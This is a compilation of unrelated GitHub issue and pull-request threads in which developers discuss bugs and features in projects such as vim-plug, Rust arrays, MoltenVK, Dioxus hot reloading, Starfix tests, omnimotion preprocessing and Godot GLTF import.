[BUG 🐞] Footer comes when scrolled in mobile view

Description

Scrolling down the page brings the footer below the menu
This must be fixed and the footer must be behind the menu always.

Screenshots

Additional information
Make sure to read the CONTRIBUTING and SETUP docs before proceeding
Happy contributing. 💐
Star my other Repositories here

Assigning you to this issue.

Have you started working on this first?

@warmachine028 Check my PR  i solved the issue

@a-s-t-e-y-a next time please get assigned to an issue first.
I'll wait for @rakimsth to respond for some time, if he doesn't I'll review your PR

Then Request if changes are needed.
then add hacktoberfest tags and accept your contribution

@warmachine028
Okay I'll take care of this from next time
But you assigned this issue more than 10 hours ago so I thought why wouldn't  I'll fix this

@warmachine028
Okay I'll take care of this from next time
But you assigned this issue more than 10 hours ago so I thought why wouldn't  I'll fix this

Yes you have a valid concern regarding that, i totally understand

See #76 if you can solve it or on my other projects there are pending issues too

Have a look at this
You have worked on a similar issue before

@rakimsth I am assigning @a-s-t-e-y-a to this issue, please work on the other issue you are assigned already.


Some way to append to the plugin list

here is a simplification of my current situation.
file_1.vim
call plug#begin("/path")
Plug 'floobits/floobits-neovim'
call plug#end()

file_2.vim
call plug#begin("/path")
Plug 'scrooloose/nerdcommenter'
call plug#end()

vimrc
source file_1.vim
source file_2.vim

I want to have both floobits and nerdcommenter plugins when I start vim, but plug#begin clears the plugin list.

You should like this:
vimrc
call plug#begin("/path")
source file_1.vim
source file_2.vim
call plug#end()

Nice. Had to make a couple new files, but not too concerned about that.

@Shougo Thanks :)

But, multiple section support is better.


Add a few QoL functions to the standard library

Adds

unwrap_or and to_result to Option
unwrap_ok_or, unwrap_err_or, and to_option to Result
Kleisli composition operators (<=< and >=>)

bors r-

Looks like you forgot to import <<

Fixed.
On the subject, what do you think of adding std.function to the prelude? I feel like I import most of it in every script.

On the subject, what do you think of adding std.function to the prelude? I feel like I import most of it in every script.

👍 Probably just << and <| I think those are the most common to use. Maybe also Monad, Category etc as well?

bors r+

On the subject, what do you think of adding std.function to the prelude? I feel like I import most of it in every script.

+1 Probably just << and <|? I think those are the most common to use. Maybe also Monad, Category etc as well?

I agree on both counts.


Fix batching to enable randomized game params + vmapping

thanks for the suggestions, ill take a look @CJBoey


Array of objects with trait Clone should implement Clone

See https://play.rust-lang.org/?gist=c5ed4cbd5adfb89a8a0a&version=nightly

Note that it works if the members are Copy. This looks like a deliberate design choice.
It makes sense: A struct is generally Clone but not Copy if cloning is a nontrivial operation (a convention your example doesn't adhere to). In the case of arrays, cloning is expensive because they're big - we don't want to memcpy huge arrays all over the place, so they're just Clone. As a result, it's a reasonable assumption that the cost of clone()ing an array is exactly that: Copying some memory. In case you actually want to go all the way and clone all of the array's elements, the typing overhead of .iter().map(Clone::clone).collect::<Vec<_>>() (or something similar) seems justified.

You can't collect into an array, though.  Also, Vec is already Clone if its members are, and it seems like the same arguments would apply there.
My guess is the Copy case was implemented because it is trivial but handling a panic! in one of the elements' clone calls would be tricky to do right.  (Vec handles this by incrementally resizing itself, but you can't resize an array.)

Impls for arrays are only present up to length 32 for all traits, and these are generated using a macro. I think the reason the impls don't exist is more mundane than either of the previous commenters guesses: an impl of Clone for non-Copy types requires an array literal of the form [self[0].clone(), self[1].clone(), ...], which is not simple to construct for all lengths up to 32 using a single macro.

It's easy enough to write if you ignore panic safety (and the the discussion over on #197 about whether mem::uninitialized gives UB or not).  (untested)
impl<T: Clone> Clone for [T; $N] {
    fn clone(&self) -> Self {
        unsafe {
            let mut ret = mem::uninitialized();
            for i in 0..$N {
                ptr::write(&mut ret[i], self[i].clone());
            }
            ret
        }
    }
}

Might need a few tweaks to make the optimizer happy, of course.
The problem is that if a clone panics you drop a bunch of uninitialized Ts.  A safe version would be something like:
impl<T: Clone> Clone for [T; $N] {
    fn clone(&self) -> Self {
        struct Cleanup<T> { arr: ManuallyDrop<[T; $N]>, initialized: uint }
        impl<T> Drop for Cleanup<T> {
            fn drop(&mut self) {
                for i in 0..self.initialized { drop(self.arr[i]); }
            }
        }
        unsafe {
            let mut ret = Cleanup { arr: mem::uninitialized(), initialized: 0 };
            for i in 0..$N {
                ptr::write(&mut ret[i], self[i].clone());

            }
            ret
        }
    }
}

Wait, @wthrowe, isn't the same issue present for tuples? And they implement T even if we just have T: Clone (i.e., not T: Copy)? Seems like either both of them should allow this, or neither?

@jonhoo Tuples exploit a convenient macro system trick but only exist up to length 12.  Arrays are defined using a simpler macro but they exist up to length 32.  You can write a macro to write out [self[0].clone(), self[1].clone(), ...] but doing so requires using a counter which I requires an extra layer of macro invocation.
Ain't hard but these hacks should all get replaced by something akin to type level integers eventually, and tricks today risk boxing in the adoption path for improvements later.  In the recent past, there was no ManuallyDrop, so one could imagine that type level integers might allow relaxing n <= 32 but only if T: Copy.
I avoid the generic array crate myself, but it handles Clone the way you want now.

Another similar case is #[derive(Clone)] on structs.  I think that one is just built into the compiler.

Arrays of any size are Copy if the element type is Copy and Clone if the element type is Clone. This works because Copy and Clone traits are specially known to the compiler.

https://doc.rust-lang.org/nightly/std/primitive.array.html
It appears this is implemented, so I'm closing the issue.


Winter theme improvements

PR set to improve various aspects of the Winter theme option.
Adds winter version of roofs, and jagged stone tiles, Add normal maps for Jagged Stone Tiles and Roofs
Defines areas around the overworld as indoors for winter theme
Adds missing "Winter version" of overworld textures

This should be ready to merge;

I believe this should be ready to merge now, I have not found any visual bugs after extensive testing.


v1.41.1 FCs on Android 11

It just won't work
Attached the FC log and my system info
TNX
DevCheck-20210221-1234.txt
02-21 12:23:15 org.pocketworkstation.pckeyboard.log

Ditto on stock Android 11 on TCL 10L — indeed, it works better than on my previous Moto phones on Android 8 & 10.

seem like ur rom missing userdictionaryprovider


Add support for VK_KHR_driver_properties

At a surface level this shouldn't be too hard to implement, it's one case to add to this function...
https://github.com/KhronosGroup/MoltenVK/blob/2dd34de8ee8823b9facedbc071a225191b57b6df/MoltenVK/MoltenVK/GPUObjects/MVKDevice.mm#L175
I don't know what driverID would be though. We would be happy to have the driver just be "MoltenVK <IP_ADDRESS>" for example, but I don't know how much Metal driver info we could get from the OS.

I don't know what driverID would be though.

Probably something specific to MoltenVK. DXVK also asked for this, and they specifically wanted this to be able to ID MoltenVK and enable driver-specific hacks for it.

This should be resolved once the headers have been updated to 1.x.148 and VK_DRIVER_ID_MOLTENVK is filled in here:
https://github.com/KhronosGroup/MoltenVK/blob/master/MoltenVK/MoltenVK/GPUObjects/MVKDevice.mm#L262

This should be resolved once the headers have been updated to 1.x.148 and VK_DRIVER_ID_MOLTENVK is filled in here:
https://github.com/KhronosGroup/MoltenVK/blob/master/MoltenVK/MoltenVK/GPUObjects/MVKDevice.mm#L262

Yup. PR #966 is in flight. 😉


chore(package): update dependencies and switch to commitlint

Updated all dependencies to the latest used by opensphere and switched to commitlint for commit message linting. API doc generation has been removed, because it will no longer function when the project is transformed to goog.module and eventually ES6.

:tada: This PR is included in version 1.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Remove /vendor/tcg/* and republish -> speakingurl.js & slugin.js are missing

Laravel Version: 0.10.11
Voyager Version: 0.10.11
PHP Version: 5.6.*
Database Driver & Version: MySQL

Description:
I deleted publishable folders in public/vendor/tcg/ and re publish it again, then speakingurl.js & slugin.js are missing.

Those does not exist in js folders.


ReferenceError: Lint is not defined

As I don't know why this error appears, I open a mirror issue here regarding https://github.com/Microsoft/tslint-microsoft-contrib/issues/89

Looks like things got clarified over in the tslint-microsoft-contrib thread, thanks for the heads-up though!


:children_crossing: Starting a container while it is being recreated fails

Netbox Version
Plugin Version
Agent Version

3.6.9
1.3.0
0.12.1

Actual Behavior
While a container is being created, clicking on the "Start" will results in an error:
{"message": "No such container: <container name>"}

Desired Behavior
Actions performed on a container should be queued. This means that clicking on the "Start" button should wait for the container to be created before actually starting the container.

I believe this feature should be done on the plugin.
We should not be able to use an image for a container as long as imageID is not set.

Another use case: I am an impatient child who is clicking frenetically the "Recreate" button 🤣
If you consider #54, it is possible that many quick updates (done via CI or via an Ansible playbook that do not care about checking the journal entries to wait for things) would queue many actions at once.


Adding radial profiles to HAL

I have implemented a working example of radial profiles in HAL. The function follows the same principle as in the 3ML HAWCLike.py plugin without the dependence on LiFF functions. The function  get_excess_background picks out the active HealPix pixels at different radial bins and calculates the signal, background and model counts at each bin. The function get_radial_profile takes care of the 'ring' excess calculations. Lastly, the plot_radial_profiles takes care of the plotting. The arguments are the same as in the HAWCLike plugin. I've include a testing script to ensure it works accordingly.

Also, I noticed that this branch is 17 commits behind threeML:master, could you update it first?  @torresramiro350

the branch has been updated. let me know if you experience any other issues.

@xiaojieww @torresramiro350 What's the status of this PR? Any remaining issues?
@torresramiro350 could you push some trivial change (even adding whitespace to the Readme should work) to trigger the automated tests?

You will need to merge #71 first (and then merge the new master into this branch). I just merged the current master into #71 and restarted the tests.

#71

After the tests are done, I will merge the #71 first, then go back here.

@torresramiro350 Can you merge the new master into your branch and then trigger the test? I just merged the #71 , it included propagating changes in astromodels interface to HAL.

@xiaojieww Done.

Well it looks like it goes into some infinite loop/wait cycle and the test gets canceled after some time. Can you reproduce the issue locally on a mac computer?

Well it looks like it goes into some infinite loop/wait cycle and the test gets canceled after some time. Can you reproduce the issue locally on a mac computer?

Sorry I missed this comment. For the threeML and astromodels test without HAL installation, it passed on Mac. We can see this in #78 as well. All the tests passed on Mac but the CI test failed.


[ops] missing files in contract npm package

Running npm pack in modules/contracts completely ignores webpack output, specifically: dist/cli.js
The webpacked cli is better to default to bc it includes the dep code, so no npm install is required before running it

This magically got fixed, idk how


Test testEcho() in StarfixTest failing

Hello, I'm new to the project and while running the ./mvnw compile quarkus:dev  maven command on Windows 10, the test testEcho() fails when the assertion seems to be satisfied with the same values. Does the assertion want the values to be different? I'm confused.
Please find below the error log:

2023-01-27 22:48:48,036 ERROR [io.qua.test] (Test runner thread) ==================== TEST REPORT #1 ====================
2023-01-27 22:48:48,041 ERROR [io.qua.test] (Test runner thread) Test StarfixTest#testEcho() failed
: org.opentest4j.AssertionFailedError: Echo Random String ==> expected: <This is some random String that I want to Echo

but was: <This is some random String that I want to Echo

    at org.junit.jupiter.api.AssertionUtils.fail(AssertionUtils.java:55)
    at org.junit.jupiter.api.AssertionUtils.failNotEqual(AssertionUtils.java:62)
    at org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:182)
    at org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:1152)
    at dev.starfix.StarfixTest.testEcho(StarfixTest.java:43)

Thanks!

Update:
Tried it on a Linux machine using a VM and the test passes.
I believe the test fails on Windows as whitespace isn't being recognized. I tested the testEcho() method passing in trimmed versions of the strings to the assertEquals method and the test passes.
Please find the log below:

All 4 tests are passing (0 skipped), 4 tests were run in 2953ms. Tests completed at 14:33:11.
Press [space] to restart, [e] to edit command line args (currently ''), [r] to re-run, [o] Toggle test output, [h] for more options>
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  50.032 s
[INFO] Finished at: 2023-01-30T14:33:26+05:30
[INFO] ------------------------------------------------------------------------

Strange, this was working fine on gh-actions on a win64 machine. All the past builds are successful (Look at win64 build on https://github.com/starfixdev/starfix/actions).

Yeah, that is odd. Previous builds had no problems

Rename Issue to Build Failing on Windows and add rest details in the description.

hello, @varad64. i have tested the testcases in windows server 2019 and 2022 / latest using github action, it is working fine.
are u using default jdk or the one provided by GraalVM ?

@Kshitiz-Mhto ref this : https://github.com/starfixdev/starfix/actions/runs/4097448503/jobs/7065829580

@fahad-israr  i have fixed the testEcho() test failing on windows, further i am working in command mvn package -Dnative for building native-image

Great @Kshitiz-Mhto .
Link your PR too with the issue.

Logging a strange event : Build did not fail when i created a PR https://github.com/starfixdev/starfix/pull/122. gh-actions workflow logs here: https://github.com/starfixdev/starfix/actions/runs/4239906148/jobs/7368393153


Bigquery scanner and violations improvements

Adding cla: yes label, as the PR author has ack'd signing the CLA in PR #240.


Hot reloading updating wrong part inside a conditional expression

Problem
When making changes in a component that has a match expression, hot reload only ever updates the last expression even when changes are made in other parts.
Steps To Reproduce
I have a following component
#[component]
pub fn RecipeView(id: String) -> Element {
    let recipe = use_server_future(move || {
        get_recipe(id.clone())
    })?;

    match recipe.read().as_ref() {
        Some(Ok(recipe)) => {
            rsx! {
                div { class: "flex flex-col justify-center overflow-hidden py-6",
                    div { class: "mx-auto max-w-2xl",
                        h1 { class: "text-5xl text-center font-extrabold py-3", "{recipe.name}" }
                        p { class: "text-4xl py-3", "{recipe.description}" }
                        p { "Another static text with more data" }
                    }
                }
            }
        }
        Some(Err(_)) => {
            rsx! {"Error loading recipe"}
        }
        None => {
            rsx! {"Loading..."}
        }
    }
}

Serving the app with dx serve --hot-reload
Make a change in one of the class definitions or in static text.
Monitor the messages in the hot_reload websocket.
See that it always sends a message to update the "Loading..." text, regardless of what was actually changed.
{"name":"src/components/recipe.rs:31:13:0","roots":[{"type":"Text","text":"Loading..."}],"node_paths":[],"attr_paths":[]}

Expected behavior
It should send a message to update the affected part of the page.
Screenshots
If applicable, add screenshots to help explain your problem.
Environment:

Dioxus version: 0.5.0-alpha.0
Rust version: 1.76
OS info: Windows 11, WSL2
App platform: fullstack web

Questionnaire

[ ] I'm interested in fixing this myself but don't know where to start
[ ] I would like to fix and I have a solution
[ ] I don't have time to fix this right now, but maybe later

It's always the last rsx expression that gets sent over the websocket when anything changes. So changing the order of match clauses will change the behavior.

If you set DIOXUS_LOG="trace", the CLI will log some information about what it thought changed between the new and old versions of the code.
Some part of the code diffing rsx here may be broken:
https://github.com/DioxusLabs/dioxus/blob/9ae3d14e676c90c73a99f5cfb41ff85c7cbf4bc2/packages/rsx/src/hot_reload/hot_reload_diff.rs#L455-L481
I was unable to reproduce this issue with the CLI version installed from the latest commit on the main branch (9ae3d14e676c90c73a99f5cfb41ff85c7cbf4bc2) and the fix-fullstack-history branch of dioxus on either the web platform or the fullstack platform on MacOs

Maybe in your code example the compiler optimizes the other cases away, since you have a static value 😊
If I try with DIOXUS_LOG in trace level, I run into another problem which is the hot_reload websocket getting closed early. Also I get this flood of continuous log messages in the terminal that never stop. Keeps the CPU busy
[TRACE] dfs_in_order: visit_instr(Store(Store { memory: Id { idx: 0 }, kind: I32 { atomic: false }, arg: MemArg { align: 4, offset: 4 } }))
[TRACE] dfs_in_order: (Store(Store { memory: Id { idx: 0 }, kind: I32 { atomic: false }, arg: MemArg { align: 4, offset: 4 } })).visit(..)
[TRACE] dfs_in_order: visit_instr(LocalGet(LocalGet { local: Id { idx: 312841 } }))
[TRACE] dfs_in_order: (LocalGet(LocalGet { local: Id { idx: 312841 } })).visit(..)
[TRACE] dfs_in_order: visit_instr(Load(Load { memory: Id { idx: 0 }, kind: I32 { atomic: false }, arg: MemArg { align: 4, offset: 4 } }))
[TRACE] dfs_in_order: (Load(Load { memory: Id { idx: 0 }, kind: I32 { atomic: false }, arg: MemArg { align: 4, offset: 4 } })).visit(..)
[TRACE] dfs_in_order: visit_instr(LocalSet(LocalSet { local: Id { idx: 312856 } }))
[TRACE] dfs_in_order: (LocalSet(LocalSet { local: Id { idx: 312856 } })).visit(..)
[TRACE] dfs_in_order: visit_instr(Const(Const { value: I32(32) }))
[TRACE] dfs_in_order: (Const(Const { value: I32(32) })).visit(..)

BTW didn't see those repeating get_recipe: done with the CLI version (https://github.com/DioxusLabs/dioxus/commit/9ae3d14e676c90c73a99f5cfb41ff85c7cbf4bc2) but still the same hot reloading behavior.

Actually it seems like those two cases don't ever get to produce a template. When I force a long delay on the server call, I can see in the browser inspector that the component contents for None case is never inserted into the DOM. It just has some <pre hidden>\</pre\> placeholder there.

The reason for this was the use_server_future. With use_resource it works as expected. Although IMO the behavior should not be like that with the server future when dynamically switching components, instead of doing a full SSR of the page on initial load.

use_server_future suspends the component here:
let recipe = use_server_future(move || {
    get_recipe(id.clone())
})?;

The ? will return None (and render a placeholder) when the future is resolving. We don't do a full reload of the page because it generally won't make the future resolve any faster and it would reset the state in your page.
Suspense boundaries are not implemented yet, but once they are you will be able to handle rendering a placeholder higher up in your component.

Another weird thing I'm seeing in the logs is the execution of part of the server function multiple times.
[INFO] dioxus_fullstack::render - Suspense resolved
get_recipe: done
[INFO] dioxus_core::diff::node - creating template self=VNode { vnode: VNodeInner { key: None, template: Cell { value: Template { name: "src/components/recipe.rs:19:13:2484", roots: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "flex flex-col justify-center overflow-hidden py-6", namespace: None }], children: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "mx-auto max-w-2xl", namespace: None }], children: [Element { tag: "h1", namespace: None, attrs: [Static { name: "class", value: "text-5xl text-center font-extrabold py-3", namespace: None }], children: [DynamicText { id: 0 }] }, Element { tag: "p", namespace: None, attrs: [Static { name: "class", value: "text-xl py-3", namespace: None }], children: [DynamicText { id: 1 }] }, Element { tag: "p", namespace: None, attrs: [], children: [Text { text: "Another static text with more datas" }] }] }] }], node_paths: [[0, 0, 0, 0], [0, 0, 1, 0]], attr_paths: [] } }, dynamic_nodes: [Text(VText { value: "Test Recipe" }), Text(VText { value: "This is a test recipe" })], dynamic_attrs: [] }, mount: Cell { value: MountId(4) } } mount=MountId(4)
[INFO] dioxus_fullstack::render - Suspense resolved
spinning up hot reloading
hot reloading ready
🔥 Hot Reload WebSocket connected
Connected to hot reloading 🚀
🔮 Finding updates since last compile...
finished
get_recipe: done
[INFO] dioxus_core::diff::node - creating template self=VNode { vnode: VNodeInner { key: None, template: Cell { value: Template { name: "src/components/recipe.rs:19:13:2484", roots: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "flex flex-col justify-center overflow-hidden py-6", namespace: None }], children: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "mx-auto max-w-2xl", namespace: None }], children: [Element { tag: "h1", namespace: None, attrs: [Static { name: "class", value: "text-5xl text-center font-extrabold py-3", namespace: None }], children: [DynamicText { id: 0 }] }, Element { tag: "p", namespace: None, attrs: [Static { name: "class", value: "text-xl py-3", namespace: None }], children: [DynamicText { id: 1 }] }, Element { tag: "p", namespace: None, attrs: [], children: [Text { text: "Another static text with more datas" }] }] }] }], node_paths: [[0, 0, 0, 0], [0, 0, 1, 0]], attr_paths: [] } }, dynamic_nodes: [Text(VText { value: "Test Recipe" }), Text(VText { value: "This is a test recipe" })], dynamic_attrs: [] }, mount: Cell { value: MountId(4) } } mount=MountId(4)
[INFO] dioxus_fullstack::render - Suspense resolved
get_recipe: done
[INFO] dioxus_core::diff::node - creating template self=VNode { vnode: VNodeInner { key: None, template: Cell { value: Template { name: "src/components/recipe.rs:19:13:2484", roots: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "flex flex-col justify-center overflow-hidden py-6", namespace: None }], children: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "mx-auto max-w-2xl", namespace: None }], children: [Element { tag: "h1", namespace: None, attrs: [Static { name: "class", value: "text-5xl text-center font-extrabold py-3", namespace: None }], children: [DynamicText { id: 0 }] }, Element { tag: "p", namespace: None, attrs: [Static { name: "class", value: "text-xl py-3", namespace: None }], children: [DynamicText { id: 1 }] }, Element { tag: "p", namespace: None, attrs: [], children: [Text { text: "Another static text with more datas" }] }] }] }], node_paths: [[0, 0, 0, 0], [0, 0, 1, 0]], attr_paths: [] } }, dynamic_nodes: [Text(VText { value: "Test Recipe" }), Text(VText { value: "This is a test recipe" })], dynamic_attrs: [] }, mount: Cell { value: MountId(4) } } mount=MountId(4)
[INFO] dioxus_fullstack::render - Suspense resolved
get_recipe: done
[INFO] dioxus_core::diff::node - creating template self=VNode { vnode: VNodeInner { key: None, template: Cell { value: Template { name: "src/components/recipe.rs:19:13:2484", roots: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "flex flex-col justify-center overflow-hidden py-6", namespace: None }], children: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "mx-auto max-w-2xl", namespace: None }], children: [Element { tag: "h1", namespace: None, attrs: [Static { name: "class", value: "text-5xl text-center font-extrabold py-3", namespace: None }], children: [DynamicText { id: 0 }] }, Element { tag: "p", namespace: None, attrs: [Static { name: "class", value: "text-xl py-3", namespace: None }], children: [DynamicText { id: 1 }] }, Element { tag: "p", namespace: None, attrs: [], children: [Text { text: "Another static text with more datas" }] }] }] }], node_paths: [[0, 0, 0, 0], [0, 0, 1, 0]], attr_paths: [] } }, dynamic_nodes: [Text(VText { value: "Test Recipe" }), Text(VText { value: "This is a test recipe" })], dynamic_attrs: [] }, mount: Cell { value: MountId(4) } } mount=MountId(4)
[INFO] dioxus_fullstack::render - Suspense resolved
get_recipe: done
[INFO] dioxus_core::diff::node - creating template self=VNode { vnode: VNodeInner { key: None, template: Cell { value: Template { name: "src/components/recipe.rs:19:13:2484", roots: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "flex flex-col justify-center overflow-hidden py-6", namespace: None }], children: [Element { tag: "div", namespace: None, attrs: [Static { name: "class", value: "mx-auto max-w-2xl", namespace: None }], children: [Element { tag: "h1", namespace: None, attrs: [Static { name: "class", value: "text-5xl text-center font-extrabold py-3", namespace: None }], children: [DynamicText { id: 0 }] }, Element { tag: "p", namespace: None, attrs: [Static { name: "class", value: "text-xl py-3", namespace: None }], children: [DynamicText { id: 1 }] }, Element { tag: "p", namespace: None, attrs: [], children: [Text { text: "Another static text with more datas" }] }] }] }], node_paths: [[0, 0, 0, 0], [0, 0, 1, 0]], attr_paths: [] } }, dynamic_nodes: [Text(VText { value: "Test Recipe" }), Text(VText { value: "This is a test recipe" })], dynamic_attrs: [] }, mount: Cell { value: MountId(4) } } mount=MountId(4)
[INFO] dioxus_fullstack::render - Suspense resolved

So the code after the sleep.await gets called five times, seems like once a second when observing.
#[server]
pub async fn get_recipe(id: String) -> Result<Recipe, ServerFnError> {
    println!("get_recipe: {}", id);
    use tokio::time::{sleep, Duration};
    sleep(Duration::from_millis(5000)).await;
    println!("get_recipe: done");
    Ok(Recipe {
        id,
        name: "Test Recipe".to_string(),
        description: "This is a test recipe".to_string(),
        ingredients: vec![],
        steps: vec![],
    })
}

Those logs will happen whenever a client makes a request to your server and the server renders the page. If you reload your page 5 times, you should see 5 logs. You may also more logs if an asset is trying to load that doesn't exist and you are rendering a page on a 404 route

But I see in the logs only the get_recipe: done message, not the first get_recipe: 1 message, which only occurs once. Couldn't really get this to happen again, so might have been some fluke as well, or some nasty timing issue.

I think this is a race condition on how we register templates. Templates are given a template ID but that ID assignment can vary depending on the order in which we process them. If the template doesn't exist on the client when we handle its edits, we have nothing to direct those edits to. Hence why you only see edits for the actually loaded block of rsx.
This needs to be solved with more resilient handling of edits queued for nonexistent templates.

Tracked it down - our implementation was only storing the most recent change and a max of 1 template per file. This is being fixed in #2055 along with a few other issues.


test(e2e,playwright): FourOhFour component

Checklist:

[x] I have read and followed the contribution guidelines.
[x] I have read and followed the how to open a pull request guide.
[x] My pull request targets the main branch of freeCodeCamp.
[x] I have tested these changes either locally on my machine, or GitPod.

resolves "UI Components/FourOhFour" https://github.com/freeCodeCamp/freeCodeCamp/issues/51705

camperbot cant code

Hi, @naomi-lgbt I am new to contributing and this is my first pr, should i commit again with updated brach

Yes, you'll want to fetch the upstream main, merge it into your branch, and push the merge commit.
If you have questions or get stuck, feel free to ask in our discord.


Separating Access Key Resource from IAM.User

purpose

If it is managed separately from IAM.User, statistics and searches can be performed in more various ways.
Separate history tracking possible.

The data.cloudtrail settings to get CloudTrail logs by access key are as follows.
"cloudtrail": {
    "region_name": "us-east-1",
    "LookupAttributes": [
        {
            "AttributeKey": "AccessKeyId",
            "AttributeValue": "[ACCESSKEY]"
        },
     "resource_type": "AWS::IAM::AccessKey"
    ]
}


ModuleNotFoundError: No module named 'vision_transformer'

I have installed vision_transformer from this site:
https://github.com/google-research/vision_transformer/tree/main
but I still get the error:
ImportError: cannot import name 'RAFT' from 'raft' (/home/piotr/anaconda3/envs/omnimotion/lib/python3.8/site-packages/raft/init.py)
Traceback (most recent call last):
File "extract_dino_features.py", line 27, in
import vision_transformer as vits
ModuleNotFoundError: No module named 'vision_transformer'
Do you have any idea what did I wrong ?
I am trying to preprocess my own sequences.

Did you do this step https://github.com/qianqianwang68/omnimotion/tree/main/preprocessing#preparation?
What command did you run and what does the file structure look like?

Partially :)
I mean I have changed a bit to sth like:
cd preprocessing/
cp exhaustive_raft.py filter_raft.py chain_raft.py RAFT/;
with below line I had problems as I did not find any
download_models.sh should I prepare it by myself ?
cd RAFT; ./download_models.sh; cd ../
cp extract_dino_features.py dino/
the sequence folder is in the preprocessing folder
regards
Piotr
wt., 29 sie 2023 o 22:39 Qianqian Wang @.***>
napisał(a):

Did you do this step
https://github.com/qianqianwang68/omnimotion/tree/main/preprocessing#preparation
?
What command did you run and what does the file structure look like?
—
Reply to this email directly, view it on GitHub
https://github.com/qianqianwang68/omnimotion/issues/19#issuecomment-1698096600,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AA2KC3H73255BR7I4LRRRXTXXZHPVANCNFSM6AAAAAA4DQBB4U
.
You are receiving this because you authored the thread.Message ID:
@.***>

oh and the error was after executing this command:
python main_processing.py --data_dir /absolute-dir-to-sequence/ --chain

not exactly sure why. If you go to the RAFT folder and run python exhaustive_raft.py --data_dir /absolute-dir-to-sequence/, do you get the same error?

when I run this python exhaustive_raft.py --data_dir /absolute-dir-to-sequence/
I get only error about RAFT
Traceback (most recent call last):
File "exhaustive_raft.py", line 18, in
from raft import RAFT
ImportError: cannot import name 'RAFT' from 'raft' (/home/piotr/anaconda3/envs/omnimotion/lib/python3.8/site-packages/raft/init.py)

Yes, they were empty. I will follow suggestions and let know.
Thanks!
śr., 30 sie 2023, 19:56 użytkownik Qianqian Wang @.***>
napisał:

Hi are RAFT and dino folders empty before you copy the files? You would
need to use --recurse-submodules in git clone --recurse-submodules
https://github.com/qianqianwang68/omnimotion/ to also clone the
submodules of RAFT and dino.
—
Reply to this email directly, view it on GitHub
https://github.com/qianqianwang68/omnimotion/issues/19#issuecomment-1699611671,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AA2KC3ATFN4KOPJULCYQJX3XX55FDANCNFSM6AAAAAA4DQBB4U
.
You are receiving this because you authored the thread.Message ID:
@.***>

I have reiterated the whole process on another machine and it went smoothly as it seems.
If I will find what was the problem on the other machine I will get back with the feedback. Probably some error on my side,
but will try to find out.
Best Regards


New Styling Options

Add options add background-url to Wave-Canvas, and change overFlow of
Wave container.  Also add option to override style of Region container.

Nice! The background image could be used to show a thumb image at the current position. Would be interesting to see how to align multiple image thumbs like in video authoring software on desktops.

Thanks, I use it to display a grid behind the wave form, like so.

Can't you just set these styles via CSS on the container? The container is supposed to be controlled by the application, isn't it?

For the background-url, yes I suppose that it could be set using CSS style.  However I believe the overflow will be over-ridden by the element style.  Same for the Region style I think.

Yes, I was able to make all changes I needed via CSS and using !important.  Adding the ability to add programmatically may be useful, otherwise it does appear that using CSS alone will work.
Thanks.

Yes, I was able to make all changes I needed via CSS and using !important.

Exactly. Besides, overflow: hidden is already supported as the hideScrollbar option.
Let's keep the API compact. We can be encourage using CSS directly in the documentation.


move slice package from k/k to the strings package

this moves the slice package from pkg/util of k/k as this pretty self-contained. This is part of a larger effort https://github.com/kubernetes/kubernetes/issues/81172
/assign @andrewsykim  @thockin
/cc @liggitt
Signed-off-by: Yassine TIJANI<EMAIL_ADDRESS>

/assign @andrewsykim  @thockin

/assign @thockin

/assign @thockin @andrewsykim

sgtm
/close


How can i train further using the pretrained checkpoint files?

I tried to load the checkpoint files for further training:
In train.py  >
try:         global_step = tf.contrib.framework.load_variable("model", "model.ckpt-300000")     except Exception as err:         global_step = 0
Gets called to checkpoint_utils.py >
def _get_checkpoint_filename(filepattern, name):   """Returns checkpoint filename given directory or specific filepattern."""   if gfile.IsDirectory(filepattern):     return saver.latest_checkpoint(filepattern, latest_filename = name)   return filepattern
Gets called to saver.py >
def get_checkpoint_state(.....):     try:         if file_io.file_exists(coord_checkpoint_filename):           print('*****file_io.file_exists******')           file_content = file_io.read_file_to_string(coord_checkpoint_filename)
The file is not being detected.
But on specifying the complete path in train.py : (adding '.meta' or '.index' or '.data-00000-of-00001') >
global_step = tf.contrib.framework.load_variable("model", "model.ckpt-300000.meta")
the file is detected, but the next line 'file_io.read_file_to_string(coord_checkpoint_filename)' throws >  " 'utf-8' codec can't decode byte 0xc3 in position 1: invalid continuation byte "
Can anyone help me out with this issue?
Thank you

@leix28 please help if you know how to train further from checkpoints.


Importing GLTF add fake bones to the skeleton

Tested versions

Reproducible in: v4.2.2.stable.official [15073afe3]

System information
Windows 11 - Godot v4.2.2.stable - Windows 10.0.22631 - GLES3 (Compatibility) - GeForce GTX 1050 Ti () - AMD Ryzen 5 3600 6-Core Processor (12 Threads)
Issue description
During the import process, when there is an object that is not a joint in the skeleton hierarchy, a fake bone is created in its place, altering the original skeleton hierarchy. Therefore, it is not possible to correctly recover the position of the animated vertex because the bone indexes in the vertex data refer to the original skeleton.

Temporary solution
Create an array that maps the indices of the original skeleton to the modified skeleton.
Steps to reproduce

Uncheck "Use Correction" at "debug.gd" attached to "beast/Armature/Skeleton3D/body"
Play the "ArmatureAction" animation in the Animation Player

Minimal reproduction project (MRP)
skin_collision.zip

Can you work around this by ensuring all the vertices in the mesh are bone influence weighted?

Can you work around this by ensuring all the vertices in the mesh are bone influence weighted?
Godot Engine cannot handle unweighted faces correctly. I have selected the faces that aren't weighted.
If you separate them into separate objects that'll convert them to bone attachments which are ok too.

this solution works perfectly, thank you!

To make it clear what I did as @fire suggested.
